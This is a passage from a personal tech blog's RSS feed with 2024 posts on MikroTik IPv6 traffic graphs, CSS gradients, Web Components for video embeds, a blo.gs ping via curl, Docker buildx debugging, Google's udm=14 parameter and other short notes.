  3158. <p>IPv6 Traffic<br>
  3159. <img src="https://blog.x-way.org/images/ipv6-traffic.png" width="492" height="251" alt="Weekly traffic graph of the IPv6 queue, showing an average of 379.65Kb incoming traffic."></p>
  3160. <p>IPv4 Traffic<br>
  3161. <img src="https://blog.x-way.org/images/ipv4-traffic.png" width="492" height="251" alt="Weekly traffic graph of the IPv4 queue, showing an average of 21.49Kb incoming traffic."></p>
  3162. <p>Happy to see that a large majority of my traffic uses IPv6 :-)</p>
  3163. ]]></description>
  3164.    <content:encoded><![CDATA[<p>Out of curiosity I wanted to know how much of my Internet traffic uses IPv6 vs the <a href="https://blog.x-way.org/Networking/2013/07/05/Mandatory-requirement-for-all-non-IPv6-capable-products.html">legacy IPv4</a>.</p>
  3165. <p>There is no out-of-the-box graph for this in MikroTik.<br>Several forum and Stack Overflow posts suggest using ratelimiting queues with their graphing feature to collect this data.<p>
  3166. <p>After experimenting a bit, I ended up with the following configuration which creates two queues to collect the traffic data.<br>Important to know, traffic flows on a first-match basis through the queues. Thus the trick of having first the queue matching IPv6 traffic and then the queue matching all the remaining traffic.<br>Also, I use <code>10G</code> as 'unreachable' traffic limit to avoid any traffic being ratelimited. This works well for my 1Gbit/s setup, but will need to be adjusted if you have a higher bandwidth.</p>
  3167. <pre>/queue simple add limit-at=10G/10G max-limit=10G/10G name=v6-traffic queue=ethernet-default/ethernet-default target=2000::/3 total-queue=ethernet-default
  3168. /queue simple add limit-at=10G/10G max-limit=10G/10G name=v4-traffic queue=ethernet-default/ethernet-default target="" total-queue=ethernet-default</pre>
  3169. <p>Having the queues in place for a couple days results in the following graphs:</p>
  3170. <p>IPv6 Traffic<br>
  3171. <img src="https://blog.x-way.org/images/ipv6-traffic.png" width="492" height="251" alt="Weekly traffic graph of the IPv6 queue, showing an average of 379.65Kb incoming traffic."></p>
  3172. <p>IPv4 Traffic<br>
  3173. <img src="https://blog.x-way.org/images/ipv4-traffic.png" width="492" height="251" alt="Weekly traffic graph of the IPv4 queue, showing an average of 21.49Kb incoming traffic."></p>
  3174. <p>Happy to see that a large majority of my traffic uses IPv6 :-)</p>
  3175. ]]></content:encoded>
  3176.  </item>
  3177.  
  3178.  <item>
  3179.    <title>More modern technologies</title>
  3180.    <link>https://blog.x-way.org/Webdesign/2024/06/18/More-modern-technologies.html</link>
  3181.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324366</guid>
  3182.    <dc:creator>Andreas Jaggi</dc:creator>
  3183.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3184.    <pubDate>Tue, 18 Jun 2024 20:59:00 +0200</pubDate>
  3185.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  3186.    <description><![CDATA[<p>After the recent <a href="https://blog.x-way.org/Webdesign/2024/06/16/Jumping-on-the-Web-Components-bandwagon.html" title="Jumping on the Web Components bandwagon - x-log">integration of Web Components in the blog</a>, I made yet another stab at using some modern technologies.</p>
  3187. <p>This time inspired by the <a href="https://lynnandtonic.com/thoughts/entries/ten-years-of-a-single-div/" title="Ten years of A Single Div | Lynn Fisher">Ten years of A Single Div</a> article, my focus was on the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/gradient/linear-gradient" title="linear-gradient() - CSS | MDN">linear-gradient()</a> and <a  href="https://developer.mozilla.org/en-US/docs/Web/CSS/gradient/radial-gradient" title="radial-gradient() - CSS | MDN">radial-gradient()</a> CSS properties.</p>
  3188. <p>They can be combined to draw almost arbitrary shapes with pure CSS.</p>
  3189. <p>I used this to replace all graphics on <a href="https://www.andreas-jaggi.ch/" title="andreas-jaggi.ch">andreas-jaggi.ch</a> with CSS, while keeping the layout and functionality identical to the <a href="https://web.archive.org/web/20050311173245/http://x-way.waterwave.ch/#" title="x-way.waterwave.ch (archive.org)">original 2005 version</a>.</p>
  3190. <p>In the process of this, also some additional modern CSS features were used:<br>
  3191. <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/var" title="var() - CSS | MDN">var()</a> to simplify repeating CSS code.<br>
  3192. <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/animation" title="animation - CSS | MDN">animation</a>/<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@keyframes" title="@keyframes - CSS | MDN">@keyframes</a> to add a little fade-in effect on the hover text.</p>
  3193. ]]></description>
  3194.    <content:encoded><![CDATA[<p>After the recent <a href="https://blog.x-way.org/Webdesign/2024/06/16/Jumping-on-the-Web-Components-bandwagon.html" title="Jumping on the Web Components bandwagon - x-log">integration of Web Components in the blog</a>, I made yet another stab at using some modern technologies.</p>
  3195. <p>This time inspired by the <a href="https://lynnandtonic.com/thoughts/entries/ten-years-of-a-single-div/" title="Ten years of A Single Div | Lynn Fisher">Ten years of A Single Div</a> article, my focus was on the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/gradient/linear-gradient" title="linear-gradient() - CSS | MDN">linear-gradient()</a> and <a  href="https://developer.mozilla.org/en-US/docs/Web/CSS/gradient/radial-gradient" title="radial-gradient() - CSS | MDN">radial-gradient()</a> CSS properties.</p>
  3196. <p>They can be combined to draw almost arbitrary shapes with pure CSS.</p>
  3197. <p>I used this to replace all graphics on <a href="https://www.andreas-jaggi.ch/" title="andreas-jaggi.ch">andreas-jaggi.ch</a> with CSS, while keeping the layout and functionality identical to the <a href="https://web.archive.org/web/20050311173245/http://x-way.waterwave.ch/#" title="x-way.waterwave.ch (archive.org)">original 2005 version</a>.</p>
  3198. <p>In the process of this, also some additional modern CSS features were used:<br>
  3199. <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/var" title="var() - CSS | MDN">var()</a> to simplify repeating CSS code.<br>
  3200. <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/animation" title="animation - CSS | MDN">animation</a>/<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@keyframes" title="@keyframes - CSS | MDN">@keyframes</a> to add a little fade-in effect on the hover text.</p>
  3201. ]]></content:encoded>
  3202.  </item>
  3203.  
  3204.  <item>
  3205.    <title>Jumping on the Web Components bandwagon</title>
  3206.    <link>https://blog.x-way.org/Webdesign/2024/06/16/Jumping-on-the-Web-Components-bandwagon.html</link>
  3207.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324365</guid>
  3208.    <dc:creator>Andreas Jaggi</dc:creator>
  3209.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3210.    <pubDate>Sun, 16 Jun 2024 21:53:00 +0200</pubDate>
  3211.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  3212.    <description><![CDATA[<p>The <a href="https://adrianroselli.com/2024/06/youtube-and-vimeo-web-component.html" title="YouTube and Vimeo Web Component - Adrian Roselli">recent article from Adrian Roselli</a> explaining how to write a Web Component for YouTube and Vimeo videos, triggered me to finally adopt the Web Components technology for my blog.<br>Additionally there is <a href="https://kniebes.com/" title="Markus Kniebes">Markus</a> using <a href="https://kniebes.com/2023/07/01/sharing-web-component" title="Sharing Web Component (kniebes.com)">Web Components for his blog</a> since quite some time, which gave me confidence.</p>
  3213. <p>Implementing Web Components was now not only for the sake of learning about the technology, but also to address some longstanding painpoints I had with my embedded videos.<br>In particular did I not like that each embedded video triggered the loading of a plethora of third-party scripts and styles only to render the thumbnail image. And additionally this leaked tracking/cookie information to the video hosters (yes, I was using www.youtube-nocookie.com to reduce this as far as possible, but could not eliminate it completely).</p>
  3214. <p>Thus I added a <code>&lt;youtube-vimeo-embed&gt;</code> Web Component and changed all my embedded YouTube and Vimeo videos to use it.</p>
  3215. <p>My implementation is almost a 1:1 copy of the <a href="https://github.com/aardrian/youtube-vimeo-embed/tree/main" title="GitHub - aardrian/youtube-vimeo-embed: A custom element to embed either a YouTube or Vimeo video into your page.">code provided by Adrian</a>, with some minor adaptions (such as hiding the original link when the video iframe can be rendered and always enabling fullscreen mode in videos).</p>
  3216. <p>I'm quite happy with the outcome, as it provides some new benefits:<br>
  3217. Except for the thumbnail image, no other third-party resources are loaded until someone clicks on the play button.<br>
  3218. When JavaScript or Web Components are not supported by a browser, it gracefuly falls back to a simple link to the video.<br>
  3219. Loading speed of the whole page improved quite a bit, as videos are only loaded on demand.<br>
  3220. It always uses www.youtube-nocookie.com and third-party scripts are only loaded if someone explicitly clicks on the play button of a video :-)</p>
  3221. ]]></description>
  3222.    <content:encoded><![CDATA[<p>The <a href="https://adrianroselli.com/2024/06/youtube-and-vimeo-web-component.html" title="YouTube and Vimeo Web Component - Adrian Roselli">recent article from Adrian Roselli</a> explaining how to write a Web Component for YouTube and Vimeo videos, triggered me to finally adopt the Web Components technology for my blog.<br>Additionally there is <a href="https://kniebes.com/" title="Markus Kniebes">Markus</a> using <a href="https://kniebes.com/2023/07/01/sharing-web-component" title="Sharing Web Component (kniebes.com)">Web Components for his blog</a> since quite some time, which gave me confidence.</p>
  3223. <p>Implementing Web Components was now not only for the sake of learning about the technology, but also to address some longstanding painpoints I had with my embedded videos.<br>In particular did I not like that each embedded video triggered the loading of a plethora of third-party scripts and styles only to render the thumbnail image. And additionally this leaked tracking/cookie information to the video hosters (yes, I was using www.youtube-nocookie.com to reduce this as far as possible, but could not eliminate it completely).</p>
  3224. <p>Thus I added a <code>&lt;youtube-vimeo-embed&gt;</code> Web Component and changed all my embedded YouTube and Vimeo videos to use it.</p>
  3225. <p>My implementation is almost a 1:1 copy of the <a href="https://github.com/aardrian/youtube-vimeo-embed/tree/main" title="GitHub - aardrian/youtube-vimeo-embed: A custom element to embed either a YouTube or Vimeo video into your page.">code provided by Adrian</a>, with some minor adaptions (such as hiding the original link when the video iframe can be rendered and always enabling fullscreen mode in videos).</p>
  3226. <p>I'm quite happy with the outcome, as it provides some new benefits:<br>
  3227. Except for the thumbnail image, no other third-party resources are loaded until someone clicks on the play button.<br>
  3228. When JavaScript or Web Components are not supported by a browser, it gracefuly falls back to a simple link to the video.<br>
  3229. Loading speed of the whole page improved quite a bit, as videos are only loaded on demand.<br>
  3230. It always uses www.youtube-nocookie.com and third-party scripts are only loaded if someone explicitly clicks on the play button of a video :-)</p>
  3231. ]]></content:encoded>
  3232.  </item>
  3233.  
  3234.  <item>
  3235.    <title>blo.gs still Pinging</title>
  3236.    <link>https://blog.x-way.org/Coding/2024/06/12/blogs-still-Pinging.html</link>
  3237.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324364</guid>
  3238.    <dc:creator>Andreas Jaggi</dc:creator>
  3239.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3240.    <pubDate>Wed, 12 Jun 2024 06:28:00 +0200</pubDate>
  3241.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  3242.    <description><![CDATA[<p>While browsing posts from the past on the <a href="https://blog.x-way.org/on-this-day.html" title="x-log - On this day">On this day</a> page, I saw the one about <a href="http://blo.gs/" title="blo.gs">blog.gs</a> from <a href="https://blog.x-way.org/Coding/2002/06/12/blogs-Ping.html" title="x-log - blo.gs-Ping">2002</a>.</p>
  3243. <p>Turns out the blog.gs ping mechanism is still working in exactly the same way after all these years (nowadays operated by Automattic).</p>
  3244. <p>As I don't run my blog with PHP anymore, I added the following step at the end of my deploy script.<br>It uses <code>curl</code> to peform <a href="http://blo.gs/ping-example.php" title="blo.gs: weblogUpdates.extendedPing example">the XML-RPC call</a> of the <code>weblogUpdates.extendedPing</code> API with the parameters for my weblog.</p>
  3245. <pre>curl -X POST -v ping.blo.gs -H 'content-type: text/xml' --data '&lt;?xml version="1.0"?&gt;&lt;methodCall&gt;&lt;methodName&gt;weblogUpdates.extendedPing&lt;/methodName&gt;&lt;params&gt;&lt;param&gt;&lt;value&gt;x-log&lt;/value&gt;&lt;/param&gt;&lt;param&gt;&lt;value&gt;https://blog.x-way.org/&lt;/value&gt;&lt;/param&gt;&lt;param&gt;&lt;value&gt;&lt;/value&gt;&lt;/param&gt;&lt;param&gt;&lt;value&gt;https://blog.x-way.org/rss.xml&lt;/value&gt;&lt;/param&gt;&lt;/params&gt;&lt;/methodCall&gt;'</pre>
  3246. ]]></description>
  3247.    <content:encoded><![CDATA[<p>While browsing posts from the past on the <a href="https://blog.x-way.org/on-this-day.html" title="x-log - On this day">On this day</a> page, I saw the one about <a href="http://blo.gs/" title="blo.gs">blog.gs</a> from <a href="https://blog.x-way.org/Coding/2002/06/12/blogs-Ping.html" title="x-log - blo.gs-Ping">2002</a>.</p>
  3248. <p>Turns out the blog.gs ping mechanism is still working in exactly the same way after all these years (nowadays operated by Automattic).</p>
  3249. <p>As I don't run my blog with PHP anymore, I added the following step at the end of my deploy script.<br>It uses <code>curl</code> to peform <a href="http://blo.gs/ping-example.php" title="blo.gs: weblogUpdates.extendedPing example">the XML-RPC call</a> of the <code>weblogUpdates.extendedPing</code> API with the parameters for my weblog.</p>
  3250. <pre>curl -X POST -v ping.blo.gs -H 'content-type: text/xml' --data '&lt;?xml version="1.0"?&gt;&lt;methodCall&gt;&lt;methodName&gt;weblogUpdates.extendedPing&lt;/methodName&gt;&lt;params&gt;&lt;param&gt;&lt;value&gt;x-log&lt;/value&gt;&lt;/param&gt;&lt;param&gt;&lt;value&gt;https://blog.x-way.org/&lt;/value&gt;&lt;/param&gt;&lt;param&gt;&lt;value&gt;&lt;/value&gt;&lt;/param&gt;&lt;param&gt;&lt;value&gt;https://blog.x-way.org/rss.xml&lt;/value&gt;&lt;/param&gt;&lt;/params&gt;&lt;/methodCall&gt;'</pre>
  3251. ]]></content:encoded>
  3252.  </item>
  3253.  
  3254.  <item>
  3255.    <title>Run Your Own Mail Server</title>
  3256.    <link>https://blog.x-way.org/Linux/2024/05/31/Run-Your-Own-Mail-Server.html</link>
  3257.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324363</guid>
  3258.    <dc:creator>Andreas Jaggi</dc:creator>
  3259.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3260.    <pubDate>Fri, 31 May 2024 20:24:00 +0200</pubDate>
  3261.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  3262.    <description><![CDATA[<p><a href="https://mwl.io/" title="About Me - Michael W Lucas">Michael W Lucas</a> is running a <a href="https://www.kickstarter.com/projects/mwlucas/run-your-own-mail-server/" title="Run Your Own Mail Server: A Book for Independence &amp; Privacy">Kickstarter campaign</a> to fund writing of book providing the knowledge to run your own mail server.</p>
  3263. <p>As I'm running my own mail server (coincidently with some of the tools that will be discussed in the book: Debian, Postfix, Dovecot), I do sympathize with this initiative and would recommend to support the campaign.</p>
  3264. ]]></description>
  3265.    <content:encoded><![CDATA[<p><a href="https://mwl.io/" title="About Me - Michael W Lucas">Michael W Lucas</a> is running a <a href="https://www.kickstarter.com/projects/mwlucas/run-your-own-mail-server/" title="Run Your Own Mail Server: A Book for Independence &amp; Privacy">Kickstarter campaign</a> to fund writing of book providing the knowledge to run your own mail server.</p>
  3266. <p>As I'm running my own mail server (coincidently with some of the tools that will be discussed in the book: Debian, Postfix, Dovecot), I do sympathize with this initiative and would recommend to support the campaign.</p>
  3267. ]]></content:encoded>
  3268.  </item>
  3269.  
  3270.  <item>
  3271.    <title>udm=14</title>
  3272.    <link>https://blog.x-way.org/Misc/2024/05/25/udm-14.html</link>
  3273.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324362</guid>
  3274.    <dc:creator>Andreas Jaggi</dc:creator>
  3275.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3276.    <pubDate>Sat, 25 May 2024 09:30:00 +0200</pubDate>
  3277.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  3278.    <description><![CDATA[<p>As seen <a href="https://vowe.net/2024/05/20/old-school-google/" title="Old School Google - vowe dot net">all</a> <a href="https://daringfireball.net/linked/2024/05/22/google-web-tedium" title="Daring Fireball: How to Make Google’s 'Web' View Your Search Default">over</a> <a href="https://kottke.org/24/05/0044646-how-to-get-google-search" title="How to get Google search results without the AI garbage">the</a> <a href="https://bookmark.kniebes.io/bookmark/128c284f18cd11efadf1408d5c84b5d9" title="&amp;udm=14 | the disenshittification Konami code">place</a>, adding <code>udm=14</code> to the URL of a Google search makes the result display less crappy (no ads, no AI suggestions to <a href="https://www.bbc.com/news/articles/cd11gzejgz4o" title="Google AI search tells users to glue pizza and eat rocks">eat rocks or put glue on pizza</a>, &hellip;).<br>The search results themselves of course are not really getting better with this, but at least the search experience is less annoying.</p>
  3279. <p>For the Desktop edition of Firefox you will need to use the <a href="https://addons.mozilla.org/en-US/firefox/addon/udm14/" title="udm14 - Get this Extension for Firefox">udm14 extension</a> to add the <code>udm=14</code> parameter by default to your search bar.<br>For other browsers it should be enough to modify the settings of the search URL used and add the parameter (something like <code>https://www.google.com/search?q=%s&amp;udm=14</code>).<br>Or even better, do use an alternative search engine :-)</p>
  3280. ]]></description>
  3281.    <content:encoded><![CDATA[<p>As seen <a href="https://vowe.net/2024/05/20/old-school-google/" title="Old School Google - vowe dot net">all</a> <a href="https://daringfireball.net/linked/2024/05/22/google-web-tedium" title="Daring Fireball: How to Make Google’s 'Web' View Your Search Default">over</a> <a href="https://kottke.org/24/05/0044646-how-to-get-google-search" title="How to get Google search results without the AI garbage">the</a> <a href="https://bookmark.kniebes.io/bookmark/128c284f18cd11efadf1408d5c84b5d9" title="&amp;udm=14 | the disenshittification Konami code">place</a>, adding <code>udm=14</code> to the URL of a Google search makes the result display less crappy (no ads, no AI suggestions to <a href="https://www.bbc.com/news/articles/cd11gzejgz4o" title="Google AI search tells users to glue pizza and eat rocks">eat rocks or put glue on pizza</a>, &hellip;).<br>The search results themselves of course are not really getting better with this, but at least the search experience is less annoying.</p>
  3282. <p>For the Desktop edition of Firefox you will need to use the <a href="https://addons.mozilla.org/en-US/firefox/addon/udm14/" title="udm14 - Get this Extension for Firefox">udm14 extension</a> to add the <code>udm=14</code> parameter by default to your search bar.<br>For other browsers it should be enough to modify the settings of the search URL used and add the parameter (something like <code>https://www.google.com/search?q=%s&amp;udm=14</code>).<br>Or even better, do use an alternative search engine :-)</p>
  3283. ]]></content:encoded>
  3284.  </item>
  3285.  
  3286.  <item>
  3287.    <title>Recent Docker BuildKit Features</title>
  3288.    <link>https://blog.x-way.org/Linux/2024/05/20/Recent-Docker-BuildKit-Features.html</link>
  3289.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324361</guid>
  3290.    <dc:creator>Andreas Jaggi</dc:creator>
  3291.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3292.    <pubDate>Mon, 20 May 2024 07:24:00 +0200</pubDate>
  3293.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  3294.    <description><![CDATA[<p>In the <a href="https://martinheinz.dev/blog/111" title="Recent Docker BuildKit Features You're Missing Out On | Martin Heinz | Personal Website &amp; Blog">Recent Docker BuildKit Features You're Missing Out On</a> article, <a href="https://martinheinz.dev/" title="Martin Heinz | Personal Website &amp; Blog">Martin Heinz</a> lists some of the new features that have been added to Docker with the BuildKit introduction.</p>
  3295. <p>My favorite one is the <a href="https://github.com/docker/buildx/blob/master/docs/debugging.md" title="debugging docs">debugger for failed build steps</a> of a container:</p>
  3296. <pre>export BUILDX_EXPERIMENTAL=1
  3297. docker buildx debug --invoke /bin/sh --on=error build .</pre>
  3298. ]]></description>
  3299.    <content:encoded><![CDATA[<p>In the <a href="https://martinheinz.dev/blog/111" title="Recent Docker BuildKit Features You're Missing Out On | Martin Heinz | Personal Website &amp; Blog">Recent Docker BuildKit Features You're Missing Out On</a> article, <a href="https://martinheinz.dev/" title="Martin Heinz | Personal Website &amp; Blog">Martin Heinz</a> lists some of the new features that have been added to Docker with the BuildKit introduction.</p>
  3300. <p>My favorite one is the <a href="https://github.com/docker/buildx/blob/master/docs/debugging.md" title="debugging docs">debugger for failed build steps</a> of a container:</p>
  3301. <pre>export BUILDX_EXPERIMENTAL=1
  3302. docker buildx debug --invoke /bin/sh --on=error build .</pre>
  3303. ]]></content:encoded>
  3304.  </item>
  3305.  
  3306.  <item>
  3307.    <title>Migrations</title>
  3308.    <link>https://blog.x-way.org/Coding/2024/05/20/Migrations.html</link>
  3309.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324360</guid>
  3310.    <dc:creator>Andreas Jaggi</dc:creator>
  3311.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3312.    <pubDate>Mon, 20 May 2024 06:02:00 +0200</pubDate>
  3313.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  3314.    <description><![CDATA[<blockquote cite="https://twitter.com/mipsytipsy/status/1778534529298489428">
  3315. <p>Migrations are not something you can do rarely, or put off, or avoid; not if you are a growing company. Migrations are an ordinary fact of life.</p>
  3316. <p>Doing them swiftly, efficiently, and -- most of all -- *completely* is one of the most critical skills you can develop as a team.</p>
  3317. </blockquote>
  3318. <p>&mdash; <a href="https://charity.wtf/" title="Charity Majors">Charity Majors</a> (<a href="https://simonwillison.net/2024/May/6/charity-majors/" title="A quote from Charity Majors">via</a>)</p>
  3319. ]]></description>
  3320.    <content:encoded><![CDATA[<blockquote cite="https://twitter.com/mipsytipsy/status/1778534529298489428">
  3321. <p>Migrations are not something you can do rarely, or put off, or avoid; not if you are a growing company. Migrations are an ordinary fact of life.</p>
  3322. <p>Doing them swiftly, efficiently, and -- most of all -- *completely* is one of the most critical skills you can develop as a team.</p>
  3323. </blockquote>
  3324. <p>&mdash; <a href="https://charity.wtf/" title="Charity Majors">Charity Majors</a> (<a href="https://simonwillison.net/2024/May/6/charity-majors/" title="A quote from Charity Majors">via</a>)</p>
  3325. ]]></content:encoded>
  3326.  </item>
  3327.  
  3328.  <item>
  3329.    <title>Building a Geocities website in 1998</title>
  3330.    <link>https://blog.x-way.org/Misc/2024/05/19/Building-a-Geocities-website-in-1998.html</link>
  3331.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324359</guid>
  3332.    <dc:creator>Andreas Jaggi</dc:creator>
  3333.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3334.    <pubDate>Sun, 19 May 2024 11:35:00 +0200</pubDate>
  3335.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  3336.    <description><![CDATA[<p><a href="https://youtu.be/HeXVKrtecis" title="Building a Geocities website in 1998 - YouTube">Building a Geocities website in 1998</a></p>
  3337. <p>Brings back some faint memories of young me playing around with FrontPage (wondering why the preview rendering of an animated fullscreen background of a burning fire is making the computer go slow&hellip;)</p>
  3338. <p>(<a href="https://buttondown.email/cassidoo/archive/an-honest-man-is-always-a-child-socrates/" title="Web links of the week - cassidoo">via</a>)</p>
  3339. ]]></description>
  3340.    <content:encoded><![CDATA[<p><a href="https://youtu.be/HeXVKrtecis" title="Building a Geocities website in 1998 - YouTube">Building a Geocities website in 1998</a></p>
  3341. <p>Brings back some faint memories of young me playing around with FrontPage (wondering why the preview rendering of an animated fullscreen background of a burning fire is making the computer go slow&hellip;)</p>
  3342. <p>(<a href="https://buttondown.email/cassidoo/archive/an-honest-man-is-always-a-child-socrates/" title="Web links of the week - cassidoo">via</a>)</p>
  3343. ]]></content:encoded>
  3344.  </item>
  3345.  
  3346.  <item>
  3347.    <title>On this day</title>
  3348.    <link>https://blog.x-way.org/Misc/2024/05/13/On-this-day.html</link>
  3349.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324358</guid>
  3350.    <dc:creator>Andreas Jaggi</dc:creator>
  3351.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3352.    <pubDate>Mon, 13 May 2024 07:00:00 +0200</pubDate>
  3353.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  3354.    <description><![CDATA[<p>In his <a href="https://shkspr.mobi/blog/2024/05/it-was-twenty-years-ago-today/" title="It was twenty years ago today &mdash; Terence Eden's Blog">20 year anniversary post</a>, <a href="https://shkspr.mobi/blog/" title="Terence Eden's Blog">Terence Eden</a> explains how he uses the "<a href="https://shkspr.mobi/blog/on-this-day/" title="On This Day &mdash; Terence Eden's Blog">On This Day</a>" feature of his blog every morning to look back on what he was writing on this day in previous years.</p>
  3355. <p>Finding this very inspiring, I decided to add a similar feature to my blog.<br>As my blog is built with Jekyll as static pages, some plain old JavaScript was needed to surface the posts of this day without having to rebuild the page daily.</p>
  3356. <p>And here we have now the <a href="https://blog.x-way.org/on-this-day.html" title="x-log - On This day">On this day</a> page :-)</p>
  3357. ]]></description>
  3358.    <content:encoded><![CDATA[<p>In his <a href="https://shkspr.mobi/blog/2024/05/it-was-twenty-years-ago-today/" title="It was twenty years ago today &mdash; Terence Eden's Blog">20 year anniversary post</a>, <a href="https://shkspr.mobi/blog/" title="Terence Eden's Blog">Terence Eden</a> explains how he uses the "<a href="https://shkspr.mobi/blog/on-this-day/" title="On This Day &mdash; Terence Eden's Blog">On This Day</a>" feature of his blog every morning to look back on what he was writing on this day in previous years.</p>
  3359. <p>Finding this very inspiring, I decided to add a similar feature to my blog.<br>As my blog is built with Jekyll as static pages, some plain old JavaScript was needed to surface the posts of this day without having to rebuild the page daily.</p>
  3360. <p>And here we have now the <a href="https://blog.x-way.org/on-this-day.html" title="x-log - On This day">On this day</a> page :-)</p>
  3361. ]]></content:encoded>
  3362.  </item>
  3363.  
  3364.  <item>
  3365.    <title>Warm weather warm colors</title>
  3366.    <link>https://blog.x-way.org/Webdesign/2024/05/11/Warm-weather-warm-colors.html</link>
  3367.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324357</guid>
  3368.    <dc:creator>Andreas Jaggi</dc:creator>
  3369.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3370.    <pubDate>Sat, 11 May 2024 20:03:00 +0200</pubDate>
  3371.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  3372.    <description><![CDATA[<p>The warm temperatures around here made me change the blog theme back to the warm colors ☀️</p>
  3373. <p>Basically it's a revert of the <a href="https://blog.x-way.org/Webdesign/2024/01/01/Winter-plain-2.html" title="x-log - Winter - plain 2">winter layout changes</a> from beginning of the year, while keeping <a href="https://blog.x-way.org/Webdesign/2024/01/03/Valid-HTML5.html" title="x-log - Valid HTML5">all</a> <a href="https://blog.x-way.org/Webdesign/2024/01/27/Quick-and-dirty-dark-mode.html" title="x-log - Quick and dirty dark mode">the</a> <a href="https://blog.x-way.org/Webdesign/2024/01/28/Tables-are-gone.html" title="x-log - Tables are gone">HTML modernizations</a> done afterwards :-)</p>
  3374. <p>We're back on the <a href="https://blog.x-way.org/Webdesign/2022/06/04/Blogging-like-2002.html" title="x-log - Blogging like 2002">original 2002 layout</a> (with modern HTML), for those trying to keep score. Enjoy!</p>
  3375. ]]></description>
  3376.    <content:encoded><![CDATA[<p>The warm temperatures around here made me change the blog theme back to the warm colors ☀️</p>
  3377. <p>Basically it's a revert of the <a href="https://blog.x-way.org/Webdesign/2024/01/01/Winter-plain-2.html" title="x-log - Winter - plain 2">winter layout changes</a> from beginning of the year, while keeping <a href="https://blog.x-way.org/Webdesign/2024/01/03/Valid-HTML5.html" title="x-log - Valid HTML5">all</a> <a href="https://blog.x-way.org/Webdesign/2024/01/27/Quick-and-dirty-dark-mode.html" title="x-log - Quick and dirty dark mode">the</a> <a href="https://blog.x-way.org/Webdesign/2024/01/28/Tables-are-gone.html" title="x-log - Tables are gone">HTML modernizations</a> done afterwards :-)</p>
  3378. <p>We're back on the <a href="https://blog.x-way.org/Webdesign/2022/06/04/Blogging-like-2002.html" title="x-log - Blogging like 2002">original 2002 layout</a> (with modern HTML), for those trying to keep score. Enjoy!</p>
  3379. ]]></content:encoded>
  3380.  </item>
  3381.  
  3382.  <item>
  3383.    <title>The KonCodie Method</title>
  3384.    <link>https://blog.x-way.org/Coding/2024/05/11/The-KonCodie-Method.html</link>
  3385.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324356</guid>
  3386.    <dc:creator>Andreas Jaggi</dc:creator>
  3387.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3388.    <pubDate>Sat, 11 May 2024 17:09:00 +0200</pubDate>
  3389.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  3390.    <description><![CDATA[<p>What if <a href="https://konmari.com/" title="KonMarie | The Official Website of Marie Kondo">Marie Kondo</a> would become a software engineer?</p>
  3391. <p><a href="https://www.200ok.com.au/" title="200 OK">Ben Buchanan</a> did run a parody account on this topic and has archived the posts <a href="https://weblog.200ok.com.au/2023/07/the-koncodie-method.html" title="The KonCodie Method | the 200ok weblog">on his site</a>.</p>
  3392. <p>There are some gems :-)</p>
  3393. <blockquote cite="https://weblog.200ok.com.au/2023/07/the-koncodie-method.html#koncodie-02"><p>To choose what to keep and what to throw away, take each dependency in one's manifest and ask: "Does this spark joy?" If it does, keep it. If not, remove it from your codebase.</p></blockquote>
  3394. <blockquote cite="https://weblog.200ok.com.au/2023/07/the-koncodie-method.html#koncodie-08"><p>We should be choosing what to <code>.gitkeep</code>, not what we want to <code>.gitignore</code></p></blockquote>
  3395. <blockquote cite="https://weblog.200ok.com.au/2023/07/the-koncodie-method.html#koncodie-31"><p>Cruft has only two possible causes: too much effort is required to refactor or it is unclear where things belong.</p></blockquote>
  3396. ]]></description>
  3397.    <content:encoded><![CDATA[<p>What if <a href="https://konmari.com/" title="KonMarie | The Official Website of Marie Kondo">Marie Kondo</a> would become a software engineer?</p>
